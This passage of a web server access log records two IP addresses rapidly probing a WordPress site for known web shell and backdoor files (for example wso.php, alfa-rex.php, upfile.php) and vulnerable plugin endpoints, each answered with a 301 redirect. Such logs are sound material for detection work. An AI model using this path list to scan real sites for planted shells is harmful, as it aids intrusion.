Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:27 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:27 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:27 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:27 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:27 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:28 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:28 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:28 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:28 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:28 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:23:29 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:29 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:29 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 